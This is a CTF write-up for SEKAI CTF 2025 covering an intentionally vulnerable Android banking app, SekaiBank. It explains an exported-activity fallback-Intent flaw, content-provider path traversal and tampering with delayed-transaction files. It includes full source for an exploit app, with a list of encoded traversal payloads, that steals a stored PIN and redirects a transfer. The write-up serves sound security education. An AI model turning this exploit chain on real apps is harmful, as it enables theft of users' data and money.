SEKAI CTF 2025: Sekai Bank Transaction

SEKAI CTF 2025: Sekai Bank Transaction

lbyte.id MVP++

Introduction

This document provides a detailed walkthrough of the vulnerability found in the SekaiBank Android application and how we exploited it to steal one million from the admin user.

Vulnerability Analysis

MainActivity Fallback Intent Vulnerability

The primary vulnerability in the SekaiBank application is in the MainActivity.onCreate() method. The application has a try-catch block that, upon exception, retrieves a ParcelableExtra named “fallback” from the Intent and calls startActivity() on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
try {
this.tokenManager = SekaiApplication.getInstance().getTokenManager();
if (handlePinSetupFlow()) {
return;
}
} catch (Exception unused) {
Intent intent = (Intent) getIntent().getParcelableExtra("fallback");
if (intent != null) {
startActivity(intent);
finish();
}
}
// ... rest of onCreate
}

This is a critical vulnerability because:

  1. The MainActivity is exported (as shown in the AndroidManifest.xml)
  2. It allows an attacker to execute arbitrary Intents within the victim app’s context
  3. The exception can be easily triggered by providing malformed extras

Path Traversal in LogProvider

The second vulnerability is in the LogProvider class. While the provider itself is not exported (android:exported="false"), it does grant URI permissions (android:grantUriPermissions="true"). This means that if we can execute code within the victim’s context (which we can via the MainActivity fallback), we can access this provider.

The LogProvider.query() method is vulnerable to path traversal:

1
2
3
4
5
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
File[] listFiles = new File(getContext().getCacheDir(), uri.getPath()).listFiles();
// ... rest of method
}

It uses uri.getPath() directly without proper validation, allowing us to traverse directories using ../ (encoded as %2e%2e/).

The openFile() method has a simple check for .. but can be bypassed with URL encoding:

1
2
3
4
5
6
7
8
9
10
11
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String str) throws FileNotFoundException {
if (uri.toString().contains("..")) {
throw new FileNotFoundException("Invalid path!");
}
File file = new File(getContext().getCacheDir(), uri.getPath());
if (!file.exists()) {
throw new FileNotFoundException("Log doesn't exists!");
}
return ParcelFileDescriptor.open(file, 805306368); // MODE_READ_WRITE
}

Delayed Transaction Processing

The SekaiBank app has a feature for delayed transactions, which are stored as JSON files in the app’s private storage:

1
2
3
4
5
// DelayedTransactionFileStorage.java
public DelayedTransactionFileStorage(Context context) {
this.storageDir = new File(context.getFilesDir(), FOLDER_NAME);
initializeStorageDirectory();
}

These transactions are processed by DelayedTransactionManager.processReadyTransactions():

1
2
3
4
5
6
public static void processReadyTransactions(Context context) {
Log.d(TAG, "Processing ready transactions...");
DelayedTransactionManager delayedTransactionManager = new DelayedTransactionManager(context);
List<DelayedTransaction> readyTransactions = delayedTransactionManager.storage.getReadyTransactions();
// ... process transactions
}

The key vulnerability is that when transactions are processed, they use the currently authenticated user’s token - which in the CTF scenario is the admin’s token:

1
2
3
4
5
6
7
8
9
private void processTransaction(DelayedTransaction delayedTransaction) {
Log.d(TAG, "Processing transaction: " + delayedTransaction.getId());
SekaiApplication.getInstance().getApiClient().getApiService().sendMoney(new SendMoneyRequest(
delayedTransaction.getToUsername(),
delayedTransaction.getAmount(),
delayedTransaction.getMessage(),
delayedTransaction.getPin()
)).enqueue(new TransactionCallback(delayedTransaction));
}

Exploitation Chain

Our exploitation chain combines these vulnerabilities:

  1. Use the MainActivity fallback vulnerability to execute our code in the victim’s context
  2. Use the LogProvider path traversal to access the delayed_transactions directory
  3. Read an existing transaction to extract its PIN (needed for authentication)
  4. Modify the transaction or create a new one to send money to our account
  5. Wait for the transaction to be processed automatically

Step 1: Trigger the MainActivity Fallback

We create a malicious app with a KickActivity that:

  1. Creates a “fallback” Intent pointing to our SinkActivity
  2. Grants read/write/prefix permissions on a content URI targeting the LogProvider
  3. Creates an Intent to the victim’s MainActivity with malformed extras to trigger the exception
  4. Adds our fallback Intent as an extra to the victim Intent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// This is what the victim will start (our sink) with URI grants
Intent fallback = new Intent(this, SinkActivity.class);
fallback.setData(target);
fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
fallback.setClipData(ClipData.newRawUri("sekai", target));

// Kick victim MainActivity; force try{} path and crash in setupMainUI()
Intent kick = new Intent();
kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);

// Inside try{}: forces handlePinSetupFlow() → setupMainUI()
kick.putExtra("from_pin_setup", true);

// setupMainUI() does (Context) extras.getParcelable("context") → ClassCastException
kick.putExtra("context", Uri.parse("x://not-a-context"));

// Inject trampoline
kick.putExtra("fallback", fallback);

startActivity(kick);

Step 2: Access Delayed Transactions Directory

Once our SinkActivity is launched by the victim app, we have access to the LogProvider with the permissions we granted. We use path traversal to access the delayed_transactions directory:

1
2
3
4
5
Uri u = getIntent().getData(); // This is the URI from our fallback Intent
// URI is something like: content://com.sekai.bank.logprovider/%2e%2e/files/delayed_transactions/

// List files in the directory
Cursor cursor = getContentResolver().query(u, null, null, null, null);

Step 3: Extract Transaction Data

We extract the first transaction file from the directory and read its contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Get the first file
cursor.moveToFirst();
if (nameIndex >= 0) {
firstFilename = cursor.getString(nameIndex);
}

// Read the file content
Uri fileUri = Uri.parse(u + "/" + firstFilename);
InputStream is = getContentResolver().openInputStream(fileUri);
byte[] data = readAll(is);
String fileContent = new String(data);

// Extract id and pin from JSON
JSONObject json = new JSONObject(fileContent);
originalId = json.optString("id", "unknown-id");
originalPin = json.optString("pin", "000000");

Step 4: Inject Malicious Transaction

Finally, we create a malicious transaction with the extracted PIN (to pass authentication) and write it back to the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Create our payload with the extracted ID and PIN
String modifiedPayload = "{\n" +
" \"id\": \"" + originalId + "\",\n" +
" \"toUsername\": \"none\",\n" +
" \"amount\": 1000000,\n" +
" \"message\": \"flag please\",\n" +
" \"pin\": \"" + originalPin + "\",\n" +
" \"createdAt\": \"" + now + "\",\n" +
" \"scheduledTime\": \"" + pastTime + "\",\n" +
" \"type\": \"USER_SCHEDULED\"\n" +
"}";

// Write the modified payload to the file
OutputStream os = getContentResolver().openOutputStream(fileUri);
os.write(modifiedPayload.getBytes());
os.flush();
os.close();

The transaction will be processed automatically by the victim app, using the admin’s token, and the money will be sent to our account.

Code Implementation

KickActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.lbyte.sekai_exp;

import android.app.Activity;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

/**
* Launcher:
* - Forces victim MainActivity into try{} and throws (ClassCastException)
* - Supplies fallback Intent to our SinkActivity
* - Embeds a content:// URI for LogProvider with READ/WRITE/PREFIX grants
*/
public class KickActivity extends Activity {

// Victim identifiers
private static final String VICTIM_PKG = "com.sekai.bank";
private static final String VICTIM_ENTRY = "com.sekai.bank.MainActivity";
private static final String VICTIM_AUTH = "com.sekai.bank.logprovider";

/**
* Pick ONE TARGET below by changing TARGET_INDEX.
* Start with index 0 to list cache (sanity check), then progress.
* If a variant fails, try switching data root between /data/data and /data/user/0.
*/
private static final String[] TARGETS = new String[] {
// 0) List files in delayed_transactions directory
"content://" + VICTIM_AUTH + "/%2e%2e/files/delayed_transactions/",

// 1) Alternative URL encoding for listing
"content://" + VICTIM_AUTH + "/..%2ffiles/delayed_transactions/",

// 2) Double encoded traversal for listing
"content://" + VICTIM_AUTH + "/%252e%252e/files/delayed_transactions/",

// 3) Mixed encoding for listing
"content://" + VICTIM_AUTH + "/%2e./files/delayed_transactions/",

// 4) Unicode encoding for listing
"content://" + VICTIM_AUTH + "/%c0%ae%c0%ae/files/delayed_transactions/",

// 5) Nested traversal for listing
"content://" + VICTIM_AUTH + "/%2e%2e/%2e%2e/data/data/com.sekai.bank/files/delayed_transactions/",

// 6) Slash encoding for listing
"content://" + VICTIM_AUTH + "/%2e%2e%2ffiles%2fdelayed_transactions/",

// 7) Try with absolute path from cache for listing
"content://" + VICTIM_AUTH + "/..%2f..%2fdata%2fdata%2fcom.sekai.bank%2ffiles%2fdelayed_transactions/"
};

private static final int TARGET_INDEX = 0; // Using direct path to directory

private static Uri buildTargetUri() {
return Uri.parse(TARGETS[TARGET_INDEX]);
}

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Uri target = buildTargetUri();

// This is what the victim will start (our sink) with URI grants
Intent fallback = new Intent(this, SinkActivity.class);
fallback.setData(target);
fallback.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
fallback.setClipData(ClipData.newRawUri("sekai", target));

// Kick victim MainActivity; force try{} path and crash in setupMainUI()
Intent kick = new Intent();
kick.setClassName(VICTIM_PKG, VICTIM_ENTRY);

// Inside try{}: forces handlePinSetupFlow() → setupMainUI()
kick.putExtra("from_pin_setup", true);

// setupMainUI() does (Context) extras.getParcelable("context") → ClassCastException
kick.putExtra("context", Uri.parse("x://not-a-context"));

// Inject trampoline
kick.putExtra("fallback", fallback);

startActivity(kick);
finish();
}
}

SinkActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package com.lbyte.sekai_exp;

import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ScrollView;
import android.widget.TextView;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.text.SimpleDateFormat;
import java.util.Date;

/**
* Started by the victim via fallback. Receives a granted content:// URI.
* - If URI is a directory → lists via query()
* - Extracts first file from the directory
* - Reads the file content and extracts pin and id
* - Writes a modified payload with the same pin and id
*/
public class SinkActivity extends Activity {
private static final String TAG = "SEKAI-POC";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

TextView tv = new TextView(this);
tv.setTextIsSelectable(true);
ScrollView sc = new ScrollView(this);
sc.addView(tv);
setContentView(sc);

Uri u = getIntent().getData();
StringBuilder out = new StringBuilder();
out.append("URI: ").append(u).append("\n\n");

// 1) LIST (works if URI points to a directory for this provider)
String firstFilename = null;
Cursor cursor = null;
try {
cursor = getContentResolver().query(u, null, null, null, null);
if (cursor != null && cursor.getCount() > 0) {
int nameIndex = cursor.getColumnIndex("name");
int sizeIndex = cursor.getColumnIndex("size");
int pathIndex = cursor.getColumnIndex("path");

out.append("LISTING:\n");

// Get the first file
cursor.moveToFirst();
if (nameIndex >= 0) {
firstFilename = cursor.getString(nameIndex);
String size = (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "unknown";
String path = (pathIndex >= 0) ? cursor.getString(pathIndex) : "unknown";

Log.i(TAG, "First file: " + firstFilename + " (size: " + size + ", path: " + path + ")");
out.append("First file: " + firstFilename + " (size: " + size + ", path: " + path + ")\n\n");
}

// List all files for debugging
cursor.moveToPosition(-1); // Reset cursor position
while (cursor.moveToNext()) {
String name = (nameIndex >= 0) ? cursor.getString(nameIndex) : "<no-name>";
String size = (sizeIndex >= 0) ? cursor.getString(sizeIndex) : "<no-size>";
String path = (pathIndex >= 0) ? cursor.getString(pathIndex) : "<no-path>";
out.append(" - ").append(name).append(" (").append(size).append(") : ").append(path).append("\n");
}
out.append("\n");
} else {
out.append("LISTING: No files found or null cursor\n\n");
Log.e(TAG, "No files found or null cursor");
}
} catch (Throwable t) {
Log.e(TAG, "Query failed", t);
out.append("LISTING failed: ").append(t).append("\n\n");
}

// Check if we found a file
if (firstFilename == null) {
Log.e(TAG, "No files found in the directory");
out.append("ERROR: No files found in the directory\n\n");
if (cursor != null) {
cursor.close();
}
tv.setText(out.toString());
return;
}

// 2) READ the specific file
String originalId = null;
String originalPin = null;

try {
// Construct URI to the specific file
Uri fileUri = Uri.parse(u + "/" + firstFilename);
Log.i(TAG, "Trying to read file: " + fileUri);
out.append("Trying to read file: " + fileUri + "\n\n");

InputStream is = getContentResolver().openInputStream(fileUri);
if (is != null) {
byte[] data = readAll(is);
is.close();
String fileContent = new String(data);
Log.i(TAG, "READ OK: File content:\n" + fileContent);
out.append("READ OK: Original file content:\n" + fileContent + "\n\n");

// Extract id and pin from JSON
try {
JSONObject json = new JSONObject(fileContent);
originalId = json.optString("id", "unknown-id");
originalPin = json.optString("pin", "000000");

Log.i(TAG, "Extracted ID: " + originalId + ", PIN: " + originalPin);
out.append("Extracted ID: " + originalId + ", PIN: " + originalPin + "\n\n");
} catch (JSONException je) {
Log.e(TAG, "Failed to parse JSON", je);
out.append("Failed to parse JSON: " + je.getMessage() + "\n\n");
originalId = "exploit-" + System.currentTimeMillis();
originalPin = "000000"; // Fallback
}

// 3) WRITE modified content to the same file
try {
// Create our payload with the extracted ID and PIN
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
String now = sdf.format(new Date());
String pastTime = sdf.format(new Date(System.currentTimeMillis() - 86400000)); // 1 day ago

String modifiedPayload = "{\n" +
" \"id\": \"" + originalId + "\",\n" +
" \"toUsername\": \"none\",\n" +
" \"amount\": 1000000,\n" +
" \"message\": \"flag please\",\n" +
" \"pin\": \"" + originalPin + "\",\n" +
" \"createdAt\": \"" + now + "\",\n" +
" \"scheduledTime\": \"" + pastTime + "\",\n" +
" \"type\": \"USER_SCHEDULED\"\n" +
"}";

Log.i(TAG, "Created modified payload:\n" + modifiedPayload);
out.append("Created modified payload:\n" + modifiedPayload + "\n\n");

// Write the modified payload to the file
OutputStream os = getContentResolver().openOutputStream(fileUri);
if (os != null) {
os.write(modifiedPayload.getBytes());
os.flush();
os.close();

Log.i(TAG, "WRITE OK: Successfully wrote modified payload to " + firstFilename);
out.append("WRITE OK: Successfully wrote modified payload to " + firstFilename + "\n\n");

// Verify the write by reading again
try {
InputStream verifyIs = getContentResolver().openInputStream(fileUri);
if (verifyIs != null) {
byte[] verifyData = readAll(verifyIs);
verifyIs.close();
String verifyContent = new String(verifyData);

Log.i(TAG, "VERIFY OK: File content after write:\n" + verifyContent);
out.append("VERIFY OK: File content after write:\n" + verifyContent + "\n\n");
}
} catch (Exception ve) {
Log.e(TAG, "Failed to verify write", ve);
out.append("Failed to verify write: " + ve.getMessage() + "\n\n");
}
} else {
Log.e(TAG, "Failed to open output stream for " + fileUri);
out.append("Failed to open output stream for " + fileUri + "\n\n");
}
} catch (Exception we) {
Log.e(TAG, "Failed to write modified payload", we);
out.append("Failed to write modified payload: " + we.getMessage() + "\n\n");
}
} else {
Log.e(TAG, "Failed to open input stream for " + fileUri);
out.append("Failed to open input stream for " + fileUri + "\n\n");
}
} catch (Exception e) {
Log.e(TAG, "Error in read/write process", e);
out.append("Error in read/write process: " + e.getMessage() + "\n\n");
} finally {
if (cursor != null) {
cursor.close();
}
}

tv.setText(out.toString());
}

private static byte[] readAll(InputStream is) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) {
baos.write(buf, 0, n);
}
return baos.toByteArray();
}
}

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Sekaiexp"
android:usesCleartextTraffic="true">

<activity
android:name=".KickActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<activity
android:name=".SinkActivity"
android:exported="true" />
</application>

</manifest>

Conclusion

This exploit chain demonstrates several common Android security vulnerabilities:

  1. Intent-based IPC vulnerabilities: The MainActivity fallback vulnerability allows arbitrary Intent execution within the victim’s context.
  2. Path traversal: The LogProvider is vulnerable to path traversal, allowing access to files outside its intended scope.
  3. Insecure file operations: The delayed transaction system doesn’t properly validate the integrity of transaction files before processing them.

The combination of these vulnerabilities allows us to execute a complete exploit chain that:

  1. Gains execution within the victim’s context
  2. Accesses sensitive files
  3. Modifies those files to steal money
  4. Leverages the victim’s authentication to process the transaction

This exploit is particularly dangerous because it requires no user interaction beyond installing and running our malicious app, and it can steal money from any user who has the vulnerable SekaiBank app installed.

  • Title: SEKAI CTF 2025: Sekai Bank Transaction
  • Author: lbyte.id
  • Created at : 2025-08-18 00:00:00
  • Updated at : 2025-08-20 02:26:52
  • Link: https://lbyte.id/2025/08/18/writeup/SEKAI CTF 2025 Sekai Bank Transaction/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments